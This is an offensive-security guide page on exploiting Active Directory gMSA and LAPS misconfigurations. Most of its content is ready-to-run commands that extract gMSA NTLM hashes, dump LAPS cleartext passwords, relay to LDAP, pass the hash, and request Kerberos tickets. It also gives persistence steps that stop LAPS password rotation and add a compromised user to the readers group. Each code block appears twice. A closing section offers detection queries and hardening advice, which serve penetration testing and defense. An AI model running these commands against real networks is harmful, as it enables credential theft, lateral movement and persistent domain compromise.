Exploitation T1555 T1003

gMSA & LAPS Exploitation

Group Managed Service Accounts (gMSA) and Local Administrator Password Solution (LAPS) are designed to improve password security, but misconfigured permissions allow attackers to read these passwords directly from Active Directory. This guide covers enumeration and exploitation of both LAPS v1, LAPS v2 (Windows LAPS), and gMSA secrets.

Danger

Reading gMSA and LAPS passwords requires specific AD permissions. Verify you have authorization before accessing these attributes — reading them is logged and may trigger alerts.

🎯 Why This Matters

  • Cleartext Passwords: LAPS v1 stores local admin passwords in a cleartext AD attribute — anyone with read access gets the password instantly.
  • Service Account Takeover: gMSA passwords are 240+ random bytes, but the NTLM hash can be computed from the blob — enabling pass-the-hash for high-privilege service accounts.
  • Common Misconfiguration: Help desk groups or overly broad OU delegations frequently grant unintended LAPS/gMSA read access.
  • Lateral Movement Enabler: LAPS passwords grant local admin on individual machines; gMSA accounts often have elevated domain privileges.

gMSA Overview

Group Managed Service Accounts are AD objects with automatically rotated 240-byte passwords. The password is stored in the msDS-ManagedPassword attribute and can only be read by principals in the msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) group. If you compromise a principal with read access, you can extract the gMSA password hash.

gMSA Enumeration

bash
# PowerView — find all gMSAs and who can read their passwords
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames | Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames

# LDAP filter for gMSAs
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(objectClass=msDS-GroupManagedServiceAccount)" dn msDS-GroupMSAMembership

# BloodHound Cypher — find paths to gMSA password readers
MATCH (g:User) WHERE g.gmsa = true
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g))
RETURN p

# NetExec — check for gMSA
nxc ldap dc01.corp.local -u user -p 'Pass123' --gmsa
# PowerView — find all gMSAs and who can read their passwords
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames | Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword,
  ServicePrincipalNames

# LDAP filter for gMSAs
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(objectClass=msDS-GroupManagedServiceAccount)" dn msDS-GroupMSAMembership

# BloodHound Cypher — find paths to gMSA password readers
MATCH (g:User) WHERE g.gmsa = true
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g))
RETURN p

# NetExec — check for gMSA
nxc ldap dc01.corp.local -u user -p 'Pass123' --gmsa

gMSA Password Extraction

From Linux (gMSADumper)

bash
# gMSADumper — extract gMSA NTLM hash
python3 gMSADumper.py -u 'allowed-user' -p 'Password1' -d corp.local

# Output: svc-sql:::aabbccdd11223344::: (NTLM hash)
# Use the hash for pass-the-hash
nxc smb targets.txt -u 'svc-sql$' -H 'aabbccdd11223344'

# Impacket ntlmrelayx with --dump-gmsa flag
ntlmrelayx.py -t ldaps://dc01.corp.local --dump-gmsa
# gMSADumper — extract gMSA NTLM hash
python3 gMSADumper.py -u 'allowed-user' -p 'Password1' -d corp.local

# Output: svc-sql:::aabbccdd11223344::: (NTLM hash)
# Use the hash for pass-the-hash
nxc smb targets.txt -u 'svc-sql$' -H 'aabbccdd11223344'

# Impacket ntlmrelayx with --dump-gmsa flag
ntlmrelayx.py -t ldaps://dc01.corp.local --dump-gmsa

From Windows (GMSAPasswordReader / DSInternals)

powershell
# GMSAPasswordReader (C#)
GMSAPasswordReader.exe --accountname svc-sql

# DSInternals PowerShell module
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity svc-sql -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash = ConvertTo-NTHash $mp.SecureCurrentPassword
Write-Output "NTLM Hash: $hash"

# Use the hash with Rubeus
Rubeus.exe asktgt /user:svc-sql$ /rc4:$hash /nowrap
# GMSAPasswordReader (C#)
GMSAPasswordReader.exe --accountname svc-sql

# DSInternals PowerShell module
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity svc-sql -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash = ConvertTo-NTHash $mp.SecureCurrentPassword
Write-Output "NTLM Hash: $hash"

# Use the hash with Rubeus
Rubeus.exe asktgt /user:svc-sql$ /rc4:$hash /nowrap

Information

gMSA → DA Path: gMSA accounts often run critical services (SQL, Exchange, SCCM) with elevated privileges. After extracting the hash, check BloodHound for outbound paths from the gMSA to Domain Admin.

LAPS v1 (Legacy MS-LAPS)

Legacy LAPS stores the local admin password in the ms-Mcs-AdmPwd attribute as cleartext. The expiration timestamp is in ms-Mcs-AdmPwdExpirationTime. Anyone with read access to these attributes on computer objects can retrieve passwords.

Enumeration — Who Can Read LAPS?

powershell
# PowerView — find which principals can read LAPS password attribute
Get-DomainObjectAcl -SearchBase "OU=Workstations,DC=corp,DC=local" \
  -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' }

# Find computers with LAPS enabled
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' -Properties name, ms-Mcs-AdmPwd,
  ms-Mcs-AdmPwdExpirationTime | Select-Object name, ms-Mcs-AdmPwd

# LAPSToolkit
Import-Module LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
# PowerView — find which principals can read LAPS password attribute
Get-DomainObjectAcl -SearchBase "OU=Workstations,DC=corp,DC=local" \
  -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' }

# Find computers with LAPS enabled
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' -Properties name, ms-Mcs-AdmPwd,
  ms-Mcs-AdmPwdExpirationTime | Select-Object name, ms-Mcs-AdmPwd

# LAPSToolkit
Import-Module LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers

Reading LAPS Passwords

bash
# PowerShell (if you have read rights)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
  Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# NetExec — dump LAPS passwords
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# From Linux with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# Impacket
python3 laps.py -u 'user' -p 'Pass123' -d corp.local

# Use the password
nxc smb target-ws01.corp.local -u Administrator -p 'LAPS-Password-Here' --local-auth
# PowerShell (if you have read rights)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
  Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# NetExec — dump LAPS passwords
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# From Linux with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# Impacket
python3 laps.py -u 'user' -p 'Pass123' -d corp.local

# Use the password
nxc smb target-ws01.corp.local -u Administrator -p 'LAPS-Password-Here' --local-auth

Windows LAPS (v2) — April 2023+

Windows LAPS (the replacement for legacy LAPS) stores passwords in msLAPS-Password and supports encryption via msLAPS-EncryptedPassword using the domain's DPAPI-NG. It also supports DSRM password management and password history.

Windows LAPS Enumeration & Reading

powershell
# Check which LAPS version is deployed
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword,
  ms-Mcs-AdmPwd | Select-Object Name,
  @{N='LAPSv2';E={$_.'msLAPS-Password' -ne $null}},
  @{N='LAPSv2-Encrypted';E={$_.'msLAPS-EncryptedPassword' -ne $null}},
  @{N='LAPSv1';E={$_.'ms-Mcs-AdmPwd' -ne $null}}

# Windows LAPS — read cleartext (if not encrypted)
Get-LapsADPassword -Identity WS01 -AsPlainText

# NetExec with Windows LAPS support
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# Encrypted LAPS passwords require the DPAPI-NG decryption key
# which is protected by the LAPS authorized readers group
# If you have DA, you can decrypt with:
Get-LapsADPassword -Identity WS01 -AsPlainText -IncludeHistory
# Check which LAPS version is deployed
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword,
  ms-Mcs-AdmPwd | Select-Object Name,
  @{N='LAPSv2';E={$_.'msLAPS-Password' -ne $null}},
  @{N='LAPSv2-Encrypted';E={$_.'msLAPS-EncryptedPassword' -ne $null}},
  @{N='LAPSv1';E={$_.'ms-Mcs-AdmPwd' -ne $null}}

# Windows LAPS — read cleartext (if not encrypted)
Get-LapsADPassword -Identity WS01 -AsPlainText

# NetExec with Windows LAPS support
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps

# Encrypted LAPS passwords require the DPAPI-NG decryption key
# which is protected by the LAPS authorized readers group
# If you have DA, you can decrypt with:
Get-LapsADPassword -Identity WS01 -AsPlainText -IncludeHistory

Warning

Encrypted LAPS: Windows LAPS v2 with encryption enabled stores passwords using DPAPI-NG, tied to specific authorized groups. You need to be in the authorized decryptor group or have DA to decrypt. This is a significant security improvement over cleartext LAPS v1.

Post-Exploitation & Persistence

powershell
# LAPS password backdoor — set expiration far in the future
# This prevents LAPS from rotating the password
Set-DomainObject -Identity 'WS01$' -Set @{
  'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'
}

# Windows LAPS — update expiration
Set-LapsADPasswordExpirationTime -Identity WS01 -WhenExpired (Get-Date).AddYears(10)

# Or: add your user to the LAPS readers group for ongoing access
Add-ADGroupMember -Identity "LAPS Admins" -Members "compromised-user"
# LAPS password backdoor — set expiration far in the future
# This prevents LAPS from rotating the password
Set-DomainObject -Identity 'WS01$' -Set @{
  'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'
}

# Windows LAPS — update expiration
Set-LapsADPasswordExpirationTime -Identity WS01 -WhenExpired (Get-Date).AddYears(10)

# Or: add your user to the LAPS readers group for ongoing access
Add-ADGroupMember -Identity "LAPS Admins" -Members "compromised-user"

Danger

Cleanup: Modifying LAPS expiration times or group memberships is highly detectable. Document all changes and restore original values after testing.

Detection & Blue Team

Event ID Source Indicator
4662 Security Object access — filter on ms-Mcs-AdmPwd attribute GUID for LAPS reads
5136 Security Object modification — watch for msDS-ManagedPassword access or LAPS expiration changes
4624 Security Successful logon — correlate local admin logons with LAPS password reads

KQL Detection — LAPS Password Access

text
// Detect LAPS password attribute reads
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"  // LAPS v1 GUID
| project TimeGenerated, SubjectUserName, ObjectName, OperationType

// Detect unusual LAPS readers (users not in authorized groups)
let authorized_readers = dynamic(["LAPS-Admins", "Domain Admins"]);
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| where SubjectUserName !in (authorized_readers)
| project TimeGenerated, SubjectUserName, ObjectName
// Detect LAPS password attribute reads
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"  // LAPS v1 GUID
| project TimeGenerated, SubjectUserName, ObjectName, OperationType

// Detect unusual LAPS readers (users not in authorized groups)
let authorized_readers = dynamic(["LAPS-Admins", "Domain Admins"]);
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| where SubjectUserName !in (authorized_readers)
| project TimeGenerated, SubjectUserName, ObjectName

Hardening Recommendations

Upgrade to Windows LAPS with Encryption

LAPS v2 with DPAPI-NG encryption prevents cleartext password storage in AD.

Restrict gMSA Password Readers

Audit PrincipalsAllowedToRetrieveManagedPassword — ensure only intended hosts are listed.

Monitor Attribute Access

Enable SACL auditing on ms-Mcs-AdmPwd and msDS-ManagedPassword attributes.

Least-Privilege LAPS Delegation

Use OU-level ACLs to limit LAPS read access to specific admin groups per OU.